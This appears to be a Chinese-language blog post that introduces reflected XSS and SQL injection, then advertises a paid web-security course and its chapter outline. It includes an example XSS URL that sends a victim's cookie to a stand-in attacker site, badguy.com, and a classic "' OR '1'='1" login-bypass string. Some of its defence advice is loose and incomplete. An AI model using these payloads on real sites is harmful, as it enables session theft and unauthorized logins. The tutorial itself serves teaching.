天天看點

web安全攻防實戰技巧

根據權威機構調研,目前安全問題80%都發生在WEB安全層面上,但是往往企業中隻有20%的防護成本運用到web安全上。一般提到web安全攻防技術,首先想到的就是xss攻擊和sql注入,今天就給大家先簡單說說這兩種。

什麼是XSS

XSS指攻擊者在網頁中嵌入用戶端腳本(例如JavaScript), 使用者浏覽網頁就會觸發惡意腳本執行。 比如擷取使用者的Cookie,導航到惡意網站,攜帶木馬等。如何把惡意代碼嵌入到使用者要通路的網頁中,攻擊者挖空心思各出奇招了。一般會有這兩類方式:

· Reflected (non-persistent)

反射攻擊,就是惡意代碼藏在本地,表現方式可能是一個惡意連結,你點選後給server GET/POST這個request,server如果沒有恰當的處理這個請求,惡意代碼傳回給使用者浏覽器并執行。舉個例子就比較明白了。來自Web安全攻防學習寶典

有這麼個網頁,查詢的結果和查詢的關鍵字都會顯示到網頁上。

<html>

      <title></title>

          <body>

              Results  for  <%Reequest.QueryString("term")%>

              ……

          </body>

</html>

Tom 先建立一個網站http://badguy.com, 用來接收"偷"來的資訊。然後Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>window.open("http://badguy.com?cookie="+document.cookie)

Monica點選了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的浏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣Monica在victim.com 的資訊就被Tom盜了。

XSS防治之道

1.文本輸入做中對js關鍵字做編碼,讓回給使用者浏覽器的js不可執行

2.浏覽器的同源政策,浏覽器隻允許通路cookie的IP+port必須同最初建立cookie的ip+port相同

3.web app或者浏覽器提供"禁用script"的選項

什麼是SQL 注入

SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。相當大一部分程式員在編寫代碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隐患。使用者可以送出一段資料庫查詢代碼,根據程式傳回的結果,獲得某些他想得知的資料,這就是所謂的SQL Injection,即SQL注入。

某個網站的登入驗證的SQL查詢代碼為:

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

惡意填入

userName = "1' OR '1'='1"; 與passWord = "1' OR '1'='1";

将導緻原本的SQL字元串被填為

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是實際上運作的SQL指令會變成下面這樣的

strSQL = "SELECT * FROM users;"

是以達到無賬号密碼,亦可登入網站。是以SQL注入攻擊被俗稱為黑客的填空遊戲。

SQL injection 防治之道

從安全技術手段上來說,可以通過資料庫防火牆實作對SQL注入攻擊的防範,因為SQL注入攻擊往往是通過應用程式來進攻,可以使用虛拟更新檔技術實作對注入攻擊的SQL特征識别,實作實時攻擊阻斷。

除了以上這兩個常見的web安全攻防技巧以外,web攻擊還有繞過漏洞、驗證機制漏洞、會話管理漏洞、權限控制漏洞、xpath注入、csrf、邏輯漏洞、社會工程學攻擊、自動化審計等等,是個非常龐大的知識體系,博為峰網校特别邀請了web安全技術大咖,推出了《web安全攻防學習寶典》(點選檢視)精品課程,從web安全漏洞原理、攻擊手段、測試方法、預防措施四個方面全面剖析WEB安全的點點滴滴,針對開發人員、測試人員、運維人員、網絡工程師都能夠起到一定的指導意義。

《web安全攻防學習寶典》課程大綱

第一章 安全測試基礎

介紹http協定基礎、安全測試基本概念、安全漏洞分類等基礎内容

第二章 核心防禦機制

講解在安全測試、安全防禦中核心的三層防禦機制

第三章 解析應用程式

安全測試、攻擊的核心,講解如何掃描應用程式、進行安全分析

第四章 繞過用戶端攻擊

繞過用戶端攻擊,是安全攻擊的基礎。本章主要介紹繞過的手段以及可以繞過的漏洞類型

第五章 驗證機制漏洞

5.1 驗證機制漏洞(一)

介紹驗證機制漏洞第一部分,關于登入子產品的漏洞分析

5.2驗證機制漏洞(二)

驗證機制漏洞第二部分,專題講解忘記密碼的漏洞原理分析及網際網路執行個體

5.3驗證機制漏洞(三)

介紹其他驗證機制相關漏洞,如詳細的報錯資訊、多階段登入漏洞等内容

5.4驗證機制漏洞(四)

專題講解網際網路應用中關于登入子產品漏洞的執行個體

第六章 會話管理漏洞

6.1 會話管理漏洞(上)

介紹會話管理的概念已經會話令牌生成過程中可能産生的漏洞

6.2 會話管理漏洞(下)

介紹會話生命周期中的漏洞類型。并了解其原理、攻擊方法、防禦措施

第七章 通路控制漏洞

專題講解權限管理方面可能存在的漏洞類型。

第八章 SQL注入與XPATH注入

SQL注入作為目前影響最大、最受重視的安全漏洞,本節課專題對sql注入的産生、危害、原理、盲注手段、攻擊工具以及防禦措施進行了詳細的剖析。同時,簡要介紹了xpath注入的相關内容

第九章 XSS攻擊

XSS是目前發生次數最多的安全漏洞,本節課詳細介紹xss的原理、分類、攻擊載荷、攻擊方式以及測試手段和防禦措施

第十章 CSRF攻擊

CSRF,又稱one click attack,是危害最大的攻擊之一。

第十一章 邏輯漏洞與社會工程學

邏輯漏洞也算安全漏洞?!我們來深入講解一下。同時介紹了社會工程學的基本攻擊方式和在web安全攻擊中的使用。

第十二章 自動化審計簡述

簡單介紹了自動化審計工具的使用方式以及自動審計工具的優劣。

課程目标

本課程旨在彌補目前開發、測試、運維工程師對安全知識的認知不足,為更好的安全工作打下堅實的基礎。

适合人群

開發人員、測試人員、運維人員、網絡工程師以及對WEB安全感興趣的IT從業人員

繼續閱讀